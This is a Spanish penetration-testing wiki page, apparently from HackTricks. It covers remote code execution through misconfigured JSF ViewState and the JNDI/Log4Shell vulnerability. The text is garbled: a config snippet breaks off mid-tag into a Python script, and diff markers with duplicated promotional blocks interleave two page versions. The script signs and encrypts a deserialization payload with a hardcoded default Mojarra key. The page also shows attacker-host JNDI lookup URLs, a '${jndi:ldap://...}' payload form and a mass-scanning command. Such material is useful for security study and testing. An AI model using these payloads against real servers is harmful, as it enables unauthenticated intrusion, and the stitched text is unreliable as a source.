Todo sucedió antes de que la implementación de JSF pudiera echar un vistazo al ViewState y decidir que no era bueno. Cuando se encontró que el ViewState era inválido, típicamente se envía un error de vuelta al cliente como "Vista expirada". Pero entonces ya es demasiado tarde. El atacante tuvo acceso al servidor y ha ejecutado comandos. (La mayoría de los atacantes del mundo real no inician una calculadora, pero típicamente implementan una shell remota, que luego utilizan para acceder al servidor).
|
||||
|
||||
=> En resumen, este ejemplo demuestra una vulnerabilidad muy peligrosa de ejecución remota de código (RCE) no autenticada.
|
||||
|
||||
(Casi el mismo escenario de ataque contra JSF como se describe anteriormente ya se había esbozado y demostrado en la presentación de 2015 (páginas 65 a 67): [Marshalling Pickles](https://frohoff.github.io/appseccali-marshalling-pickles/) realizada por Frohoff y Lawrence).
|
||||
|
||||
# Las condiciones previas para un ataque exitoso
|
||||
|
||||
Ahora, ¿cuáles son los ingredientes para un desastre?
|
||||
|
||||
* ViewState no cifrado (o posesión de la clave de cifrado)
|
||||
* Gadget en el classpath del servidor
|
||||
* En el caso de Mojarra: ViewState configurado para residir en el `cliente`
|
||||
* En el caso de MyFaces: ViewState configurado para residir en el `cliente` **o** en el `servidor`
|
||||
|
||||
Veamos esos puntos en relación con las dos implementaciones de JSF.
|
||||
|
||||
# Oracle Mojarra (implementación de referencia de JSF)
|
||||
|
||||
Como se dijo antes, Oracle Mojarra es la Implementación de Referencia (RI) de JSF, pero puede que no sea conocida con ese nombre. Puede ser conocida como Sun JSF RI, reconocida con el nombre del paquete java `com.sun.faces` o con el nombre ambiguo del archivo jar `jsf-impl.jar`.
|
||||
|
||||
## Mojarra: ViewState no cifrado
|
||||
|
||||
Aquí está la cosa: Mojarra no cifró y firmó el ViewState del lado del cliente de forma predeterminada en la mayoría de las versiones de 2.0.x y 2.1.x. Es importante tener en cuenta que un ViewState del lado del servidor es el valor predeterminado en ambas implementaciones de JSF, pero un desarrollador podría cambiar fácilmente la configuración para usar un ViewState del lado del cliente estableciendo el parámetro `javax.faces.STATE_SAVING_METHOD` en `cliente`. El nombre del parámetro no revela de ninguna manera que cambiarlo a cliente introduce graves vulnerabilidades de ejecución remota de código (por ejemplo, un ViewState del lado del cliente podría usarse en aplicaciones web en clúster).
|
||||
|
||||
Si bien el cifrado del ViewState del lado del cliente es el valor predeterminado en Mojarra 2.2 y versiones posteriores, no lo fue para las ramas 2.0.x y 2.1.x. Sin embargo, en mayo de 2016, los desarrolladores de Mojarra comenzaron a retroportar el cifrado predeterminado del ViewState del lado del cliente a [2.0.x](https://github.com/javaserverfaces/mojarra/issues/4142) y [2.1.x](https://github.com/javaserverfaces/mojarra/issues/4141) cuando se dieron cuenta de que los ViewStates no cifrados conducían a vulnerabilidades de RCE.
|
||||
|
||||
Por lo tanto, al menos la versión [2.1.29-08](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-08) (lanzada en julio de 2016) de la rama 2.1.x y la versión [2.0.11-04](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.11-04) (también lanzada en julio de 2016) de la rama 2.0.x tienen el cifrado habilitado de forma predeterminada.
|
||||
|
||||
Cuando analizamos las bibliotecas de Mojarra, notamos que Red Hat también lanza versiones de Mojarra para las ramas 2.1.x y 2.0.x, siendo la última [2.1.29-jbossorg-1](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-jbossorg-1) y [2.0.4-b09-jbossorg-4](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.4-b09-jbossorg-4). Dado que ambos lanzamientos no tenían cifrado predeterminado del ViewState, contactamos a Red Hat y ellos crearon rápidamente [Bug 1479661 - JSF client side view state saving deserializes data](https://bugzilla.redhat.com/show_bug.cgi?id=1479661) en su rastreador de errores con el siguiente consejo de mitigación para la rama 2.1.x:
|
||||
|
||||
> Una aplicación web vulnerable debe haber establecido javax.faces.STATE_SAVING_METHOD en 'cliente' para habilitar el guardado de ViewState del lado del cliente. El valor predeterminado en Enterprise Application Platform (EAP) 6.4.x es 'servidor'.\
|
||||
> \
|
||||
> Si javax.faces.STATE_SAVING_METHOD está establecido en 'cliente', una mitigación para este problema es cifrar la vista estableciendo com.sun.faces.ClientStateSavingPassword en el archivo web.xml de la aplicación:
|
||||
>
|
||||
> ```markup
|
||||
> <context-param>
|
||||
> <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
|
||||
> <param-value>cliente</param-value>
|
||||
> </context-param>
|
||||
>
|
||||
> <env-entry>
|
||||
> <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import sys
|
||||
import hmac
|
||||
from urllib import parse
|
||||
from base64 import b64encode
|
||||
from hashlib import sha1
|
||||
from pyDes import *
|
||||
|
||||
YELLOW = "\033[93m"
|
||||
GREEN = "\033[32m"
|
||||
|
||||
def encrypt(payload,key):
|
||||
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
|
||||
enc_payload = cipher.encrypt(payload)
|
||||
return enc_payload
|
||||
|
||||
def hmac_sig(enc_payload,key):
|
||||
hmac_sig = hmac.new(key, enc_payload, sha1)
|
||||
hmac_sig = hmac_sig.digest()
|
||||
return hmac_sig
|
||||
|
||||
key = b'JsF9876-'
|
||||
|
||||
if len(sys.argv) != 3 :
|
||||
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
|
||||
else:
|
||||
with open(sys.argv[1], "rb") as f:
|
||||
payload = f.read()
|
||||
f.close()
|
||||
print(YELLOW + "[+] Encrypting payload")
|
||||
print(YELLOW + " [!] Key : JsF9876-\n")
|
||||
enc_payload = encrypt(payload,key)
|
||||
print(YELLOW + "[+] Creating HMAC signature")
|
||||
hmac_sig = hmac_sig(enc_payload,key)
|
||||
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
|
||||
payload = b64encode(enc_payload + hmac_sig)
|
||||
payload = parse.quote_plus(payload)
|
||||
print(YELLOW + "[*] Final payload : {}\n".format(payload))
|
||||
with open(sys.argv[2], "w") as f:
|
||||
f.write(payload)
|
||||
f.close()
|
||||
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))
|
||||
```
|
||||
# Detección de claves conocidas con Badsecrets
|
||||
|
||||
 es una biblioteca capaz de detectar el uso de claves criptográficas conocidas al examinar los productos que producen y verificarlos con una lista de claves conocidas o débiles. Su módulo `Jsf_viewstate` es capaz de detectar Java Server Faces ViewStates creados con claves conocidas tanto en Mojarra como en MyFaces, además de ViewStates sin protección o comprimidos.
|
||||
|
||||
La forma más rápida de usarlo es con la herramienta de ejemplo `cli.py` de la siguiente manera:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
cd badsecrets
|
||||
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=
|
||||
```
|
||||
Si encuentra una coincidencia, también mostrará la plataforma (Mojarra o MyFaces), el algoritmo de cifrado utilizado y si se utilizó o no compresión, lo cual es esencial para la explotación.
|
||||
|
||||
Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo `badsecrets` de [**BBOT**]().
|
||||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
# Reflexiones finales
|
||||
|
||||
La mayoría de los hechos sobre los JSF ViewStates y sus peligros presentados en esta publicación de blog no son exactamente nuevos, pero parece que nunca se presentaron de manera tan condensada. Demostró [una vez más](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html) que los cambios de configuración aparentemente inofensivos pueden llevar a vulnerabilidades graves.
|
||||
|
||||
\=> Uno de los problemas parece ser que no hay suficiente transferencia de conocimiento entre los investigadores de seguridad y los desarrolladores que realmente usan y configuran bibliotecas que pueden ser peligrosas cuando se configuran de ciertas maneras.
|
||||
|
||||
# Referencias
|
||||
|
||||
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
Revisa las publicaciones:
|
||||
|
||||
* [https://www.alphabot.com/security/blog/2017/java/Las-ViewStates-de-JSF-mal-configuradas-pueden-conducir-a-vulnerabilidades-RCE-graves.html](https://www.alphabot.com/security/blog/2017/java/Las-ViewStates-de-JSF-mal-configuradas-pueden-conducir-a-vulnerabilidades-RCE-graves.html)
|
||||
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
|
||||
|
|
|
|||
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
|
@ -24,142 +24,149 @@ Encuentra vulnerabilidades que importan más para que puedas arreglarlas más r
|
|||
|
||||
## Información Básica
|
||||
|
||||
JNDI ha estado presente en Java desde finales de los años 90. Es un servicio de directorio que **permite a un programa Java encontrar datos a través de un directorio utilizando un servicio de nombres**. Un servicio de nombres asocia valores (enlaces), por lo que se puede obtener a través de su referencia en el directorio.
|
||||
|
||||
JNDI tiene una serie de **interfaces de proveedor de servicios** (SPIs) que le permiten utilizar una variedad de servicios de directorio. El objetivo de JNDI es obtener datos de otros sistemas muy fácilmente. Incluso puedes obtener objetos Java de forma remota, y aquí es donde surge un problema.
|
||||
|
||||
Por ejemplo, existen SPIs para el **CORBA COS** (Common Object Service), el **Java RMI** (Remote Method Interface) Registry y **LDAP**.
|
||||
|
||||
.png>)
|
||||
JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Admite varios servicios de directorio a través de interfaces de proveedor de servicios (SPI), lo que permite la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPI comunes incluyen CORBA COS, Registro de Java RMI y LDAP.
|
||||
|
||||
### Referencia de Nombres JNDI
|
||||
Los objetos Java se pueden almacenar y recuperar utilizando Referencias de Nombres JNDI, que se presentan en dos formas:
|
||||
|
||||
Para recuperar Objetos Java podrías serializarlos y guardar la representación binaria. Pero hay casos en los que esto no funcionará (quizás porque los datos son demasiado grandes, o cualquier otra cosa).\
|
||||
Para guardar Objetos Java más fácilmente, se utilizan **Referencias de Nombres**.\
|
||||
Hay 2 tipos de Referencias de Nombres:
|
||||
- **Direcciones de Referencia**: Especifica la ubicación de un objeto (por ejemplo, _rmi://servidor/ref_), permitiendo la recuperación directa desde la dirección especificada.
|
||||
- **Fábrica Remota**: Hace referencia a una clase de fábrica remota. Cuando se accede, la clase se descarga e instancia desde la ubicación remota.
|
||||
|
||||
* **Direcciones de Referencia**: Esto indica la dirección del Objeto (_rmi://server/ref_), luego el **objeto será recuperado de esa dirección**.
|
||||
* **Fábrica Remota**: En este caso se señalará una **clase de fábrica remota** en la referencia JNDI, luego, siguiendo la dirección JNDI, la clase remota será tomada de la fábrica remota y la **clase será descargada y cargada**.
|
||||
Sin embargo, este mecanismo puede ser explotado, lo que potencialmente lleva a la carga y ejecución de código arbitrario. Como medida de contramedida:
|
||||
|
||||
Esto es peligroso porque **los atacantes pueden hacer que el sistema cargue objetos arbitrarios y ejecute código arbitrario**, por lo tanto, existen algunas protecciones:
|
||||
- **RMI**: `java.rmi.server.useCodeabseOnly = true` de forma predeterminada desde JDK 7u21, restringiendo la carga de objetos remotos. Un Administrador de Seguridad limita aún más lo que se puede cargar.
|
||||
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` de forma predeterminada desde JDK 6u141, 7u131, 8u121, bloqueando la ejecución de objetos Java cargados de forma remota. Si se establece en `true`, la ejecución de código remoto es posible sin la supervisión de un Administrador de Seguridad.
|
||||
- **CORBA**: No tiene una propiedad específica, pero el Administrador de Seguridad siempre está activo.
|
||||
|
||||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` por defecto desde **JDK 7u21**, de lo contrario permitirá cargar objetos Java personalizados de forma remota. Además, incluso si la protección está deshabilitada, se impone un **Security Manager** para configurar qué se puede cargar.
|
||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` por defecto desde **JDK** **6u141, 7u131, 8u121**, y no permitirá ejecutar objetos Java arbitrarios descargados. Pero si esto se establece en `true`, lo hará y **no se impondrá ningún Security Manager**.
|
||||
* **CORBA**: No hay ninguna propiedad que configurar pero el **Security Manager siempre se impone**.
|
||||
Sin embargo, el **Administrador de Nombres**, responsable de resolver los enlaces JNDI, carece de mecanismos de seguridad integrados, lo que potencialmente permite la recuperación de objetos desde cualquier fuente. Esto representa un riesgo ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, lo que lleva a la carga de objetos Java arbitrarios o a la explotación de componentes de aplicación existentes (gadgets) para ejecutar código malicioso.
|
||||
|
||||
Además, el **Naming Manager**, el que va a seguir los enlaces JNDI, no tiene ningún Security Manager o propiedad que configurar, por lo que siempre intentará obtener el objeto.
|
||||
Ejemplos de URLs explotables incluyen:
|
||||
- _rmi://servidor-atacante/bar_
|
||||
- _ldap://servidor-atacante/bar_
|
||||
- _iiop://servidor-atacante/bar_
|
||||
|
||||
Como puedes ver, las **protecciones en general no son suficientes** porque no hay **protección contra la carga de JNDI desde direcciones aleatorias** y las protecciones de RMI, LDAP y CORBA podrían ser eludidas (dependiendo de la configuración) para **cargar objetos Java arbitrarios** o para **cargar objetos Java** que abusarán de componentes existentes en la aplicación como **gadgets para ejecutar código arbitrario**.
|
||||
A pesar de las protecciones, las vulnerabilidades persisten, principalmente debido a la falta de salvaguardias contra la carga de JNDI desde fuentes no confiables y la posibilidad de eludir las protecciones existentes.
|
||||
|
||||
Ejemplos de URLs para abusar de JNDI:
|
||||
|
||||
* _rmi://attacker-server/bar_
|
||||
* _ldap://attacker-server/bar_
|
||||
* _iiop://attacker-server/bar_
|
||||
|
||||
### Ejemplo de JNDI
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Incluso si has establecido un **`PROVIDER_URL`**, puedes indicar uno diferente en una búsqueda y se accederá a él: `ctx.lookup("<attacker-controlled-url>")` y eso es lo que un atacante abusará para cargar objetos arbitrarios desde un sistema controlado por él.
|
||||
Incluso si has establecido un **`PROVIDER_URL`**, puedes indicar uno diferente en una búsqueda y se accederá a él: `ctx.lookup("<url-controlada-por-atacante>")` y eso es lo que un atacante aprovechará para cargar objetos arbitrarios desde un sistema controlado por él.
|
||||
|
||||
### CORBA
|
||||
### Descripción General de CORBA
|
||||
|
||||
Un **Interoperable Object Reference (IOR)** es una referencia CORBA o RMI-IIOP que identifica de manera única a un objeto en un servidor CORBA remoto. Los IOR pueden estar en formato binario o en representación hexadecimal de cadena del binario.\
|
||||
Entre otra información, contiene el **Type ID** (un identificador único para una interfaz) y el **Codebase** (ubicación remota utilizada para obtener la clase stub).\
|
||||
Ten en cuenta que **por defecto CORBA no puede ser abusado**.\
|
||||
Requiere:
|
||||
CORBA (Common Object Request Broker Architecture) emplea una **Referencia de Objeto Interoperable (IOR)** para identificar de forma única objetos remotos. Esta referencia incluye información esencial como:
|
||||
|
||||
* Se debe instalar un **Security Manager**
|
||||
* La conexión al **codebase controlado por el atacante debe ser permitida** por el Security Manager. Hay diferentes formas de permitir esto:
|
||||
* Permiso de socket: `permissions java.net.SocketPermission "*:1098-1099", "connect";`
|
||||
* Permiso de archivo que permite leer todos los archivos: `permission java.io.FilePermission "<<ALL FILES>>", "read";`
|
||||
* Permiso de archivo para leer la carpeta donde el atacante puede subir los exploits (clases o archivo zip)
|
||||
- **ID de Tipo**: Identificador único para una interfaz.
|
||||
- **Codebase**: URL para obtener la clase de stub.
|
||||
|
||||
Puede que encuentres **políticas de proveedores que permiten esto por defecto**.
|
||||
Es importante destacar que CORBA no es inherentemente vulnerable. Asegurar la seguridad generalmente implica:
|
||||
|
||||
### RMI
|
||||
- Instalación de un **Administrador de Seguridad**.
|
||||
- Configurar el Administrador de Seguridad para permitir conexiones a bases de código potencialmente maliciosas. Esto se puede lograr a través de:
|
||||
- Permiso de Socket, por ejemplo, ````permissions java.net.SocketPermission "*:1098-1099", "connect";````.
|
||||
- Permisos de lectura de archivos, ya sea de forma universal (````permission java.io.FilePermission "<<ALL FILES>>", "read";````) o para directorios específicos donde podrían colocarse archivos maliciosos.
|
||||
|
||||
Como se indicó en la sección anterior **Referencia de Nombres JNDI, RMI por defecto no permitirá descargar Clases Java arbitrarias**. Y además, incluso si lo hiciera, necesitarás **eludir las políticas del Security Manager** (en la sección anterior aprendimos que esto era posible con CORBA).
|
||||
Sin embargo, algunas políticas de proveedores pueden ser permisivas y permitir estas conexiones de forma predeterminada.
|
||||
|
||||
### Contexto RMI
|
||||
|
||||
Para RMI (Invocación de Método Remoto), la situación es algo diferente. Al igual que con CORBA, la descarga arbitraria de clases está restringida de forma predeterminada. Para explotar RMI, típicamente se necesitaría eludir el Administrador de Seguridad, un logro también relevante en CORBA.
|
||||
|
||||
### LDAP
|
||||
|
||||
Primero que nada, necesitamos distinguir entre una Búsqueda y una Búsqueda de Nombres.\
|
||||
Una **búsqueda** usará una URL como `ldap://localhost:389/o=JNDITutorial` para encontrar el objeto JNDITutorial de un servidor LDAP y **recuperar sus atributos**.\
|
||||
Una **búsqueda de nombres** está destinada a **servicios de nombres** ya que queremos obtener **lo que sea que esté vinculado a un nombre**.
|
||||
En primer lugar, necesitamos distinguir entre una Búsqueda y una Consulta.\
|
||||
Una **búsqueda** utilizará una URL como `ldap://localhost:389/o=JNDITutorial` para encontrar el objeto JNDITutorial de un servidor LDAP y **recuperar sus atributos**.\
|
||||
Una **consulta** está destinada a **servicios de nombres** ya que queremos obtener **lo que esté vinculado a un nombre**.
|
||||
|
||||
Si la búsqueda LDAP se invocó con **SearchControls.setReturningObjFlag() con `true`, entonces el objeto devuelto será reconstruido**.
|
||||
|
||||
Por lo tanto, hay varias formas de atacar estas opciones.\
|
||||
Un **atacante puede envenenar registros LDAP introduciendo payloads** en ellos que se ejecutarán en los sistemas que los recojan (muy útil para **comprometer decenas de máquinas** si tienes acceso al servidor LDAP). Otra forma de explotar esto sería realizar un **ataque MitM en una búsqueda LDAP**, por ejemplo.
|
||||
Un **atacante puede envenenar registros LDAP introduciendo payloads** en ellos que se ejecutarán en los sistemas que los recopilan (muy útil para **comprometer decenas de máquinas** si tienes acceso al servidor LDAP). Otra forma de explotar esto sería realizar un **ataque de MitM en una búsqueda LDAP**, por ejemplo.
|
||||
|
||||
En caso de que puedas **hacer que una app resuelva una URL JNDI LDAP**, puedes controlar el LDAP que se buscará, y podrías enviar de vuelta el exploit (log4shell).
|
||||
En caso de que puedas **hacer que una aplicación resuelva una URL LDAP de JNDI**, puedes controlar el LDAP que se buscará, y podrías enviar de vuelta el exploit (log4shell).
|
||||
|
||||
#### Explotación de Deserialización
|
||||
#### Exploit de Deserialización
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
El **exploit está serializado** y será deserializado.\
|
||||
En caso de que `trustURLCodebase` sea `true`, un atacante puede proporcionar sus propias clases en el codebase si no, necesitará abusar de gadgets en el classpath.
|
||||
En caso de que `trustURLCodebase` sea `true`, un atacante puede proporcionar sus propias clases en la base de código, de lo contrario, necesitará abusar de gadgets en el classpath.
|
||||
|
||||
#### Explotación de Referencia JNDI
|
||||
#### Exploit de Referencia JNDI
|
||||
|
||||
Es más fácil atacar este LDAP utilizando **referencias JavaFactory**:
|
||||
Es más fácil atacar este LDAP usando **referencias de JavaFactory**:
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
## Vulnerabilidad Log4Shell
|
||||
|
||||
La vulnerabilidad se introduce en Log4j porque admite una [**sintaxis especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) en la forma `${prefix:name}` donde `prefix` es uno de varios [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) diferentes donde `name` debe ser evaluado. Por ejemplo, `${java:version}` es la versión actual en ejecución de Java.
|
||||
La vulnerabilidad se introduce en Log4j porque admite una [**sintaxis especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) en la forma `${prefijo:nombre}` donde `prefijo` es uno de varios [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) diferentes donde `nombre` debe evaluarse. Por ejemplo, `${java:version}` es la versión actual de Java en ejecución.
|
||||
|
||||
En [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) se agregó un Lookup `jndi` de la siguiente manera: "El JndiLookup permite que las variables se recuperen a través de JNDI. Por defecto, la clave se prefijará con java:comp/env/, sin embargo, si la clave contiene un **":" no se agregará ningún prefijo**."
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una característica de `jndi` Lookup. Esta característica permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefiere automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo predeterminado no se aplica.
|
||||
|
||||
Con un **: presente** en la clave, como en `${jndi:ldap://example.com/a}` no hay **prefijo** y se **consulta al servidor LDAP por el objeto**. Y estos Lookups se pueden usar tanto en la configuración de Log4j como cuando se registran líneas.
|
||||
Con un **":" presente** en la clave, como en `${jndi:ldap://ejemplo.com/a}`, no hay prefijo y se **consulta al servidor LDAP para el objeto**. Y estos Lookups se pueden utilizar tanto en la configuración de Log4j como al registrar líneas.
|
||||
|
||||
Por lo tanto, lo único necesario para obtener RCE es una **versión vulnerable de Log4j procesando información controlada por el usuario**. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas aplicaciones orientadas a Internet), era muy común tener log4j registrando, por ejemplo, encabezados HTTP recibidos como el User-Agent. Sin embargo, log4j **no se usa solo para registrar información HTTP sino cualquier entrada** y datos que el desarrollador indicó.
|
||||
Por lo tanto, lo único necesario para obtener RCE es una **versión vulnerable de Log4j procesando información controlada por el usuario**. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas las aplicaciones orientadas a Internet), era muy común tener log4j registrando, por ejemplo, cabeceras HTTP recibidas como el User-Agent. Sin embargo, log4j **no se usa solo para registrar información HTTP sino cualquier entrada** y datos que el desarrollador haya indicado.
|
||||
|
||||
## CVEs de Log4Shell
|
||||
## Resumen de CVEs Relacionados con Log4Shell
|
||||
|
||||
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]**: La vulnerabilidad original 'Log4Shell' es un fallo de [deserialización no confiable](https://cwe.mitre.org/data/definitions/502.html). Calificada como crítica en severidad, esta obtiene un 10 en la escala [CVSS](https://www.first.org/cvss/) y **otorga capacidades de ejecución de código remoto (RCE) a atacantes no autenticados**, permitiendo la toma de control completa del sistema.\
|
||||
\
|
||||
Reportado por Chen Zhaojun del Equipo de Seguridad de Alibaba Cloud a Apache el 24 de noviembre, CVE-2021-44228 afecta las configuraciones predeterminadas de múltiples marcos de Apache, incluidos Apache Struts2, Apache Solr, Apache Druid, Apache Flink y otros.\
|
||||
\
|
||||
Siendo la más peligrosa de todas, esta vulnerabilidad se encuentra en el componente [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core), limitado a versiones 2.x: desde 2.0-beta9 hasta e incluyendo 2.14.1. Se implementó una solución para Log4Shell en la versión 2.15.0 pero se consideró incompleta (sigue leyendo).\
|
||||
\
|
||||
